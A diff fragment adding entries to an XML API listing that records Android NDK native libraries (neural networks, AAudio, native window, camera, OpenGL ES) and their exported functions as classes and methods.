+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_hideSoftInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_getNextFileName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_getMountedObbPath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_hasEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="android_getaddrinfofornetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setDensity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getMetaState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_unmountObb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenLong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPressure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_dupFromJava" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getResolution" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_registerSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libneuralnetworks.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksEvent_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_setOperandValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksMemory_createFromFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setInputFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_setOperandValueFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBNEURALNETWORKS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setOutput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksMemory_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksEvent_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_startCompute" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_addOperand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_identifyInputsAndOutputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_setPreference" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setOutputFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_addOperation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libaaudio.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setChannelCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getBufferSizeInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_getMMapPolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_openStream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestPause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_convertResultToText" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_setMMapPolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getPerformanceMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setBufferCapacityInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSharingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBAAUDIO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSamplesPerFrame" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSampleRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getXRunCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestStop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesWritten" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_isMMapUsed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setPerformanceMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesRead" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesPerDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSamplesPerFrame" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_setBufferSizeInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSampleRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setErrorCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setFramesPerDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_convertStreamStateToText" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getChannelCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_createStreamBuilder" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesPerBurst" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_waitForStateChange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getBufferCapacityInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSharingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestStart" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libnativewindow.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurfaceTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBNATIVEWINDOW" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_sendHandleToUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_recvHandleFromUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_allocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_fromHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersTransform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersGeometry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_describe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_toHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_unlockAndPost" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libcamera2ndk.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutput_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_i32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_remove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraOutputTarget_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_double" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_createCaptureRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_createCaptureSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_getAllTags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_add" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_openCamera" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_u8" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_setRepeatingRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_deleteCameraIdList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_getId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_getAllTags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_getCameraCharacteristics" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_addTarget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_getCameraIdList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_removeTarget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_capture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_getDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutput_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_rational" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_stopRepeating" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBCAMERA2NDK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_getConstEntry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_i64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_float" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_unregisterAvailabilityCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraOutputTarget_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_copy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_abortCaptures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_registerAvailabilityCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_getConstEntry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libglesv2.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSetFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorGroupStringAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSelectPerfMonitorCountersAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinishFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBeginPerfMonitorAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtTexObjectStateOverrideiQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramBinarySourceQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterInfoAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBGLESV2" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBufferPointervQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexSubImageQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetShadersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawElementsEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glReleaseShaderCompiler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlStringQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
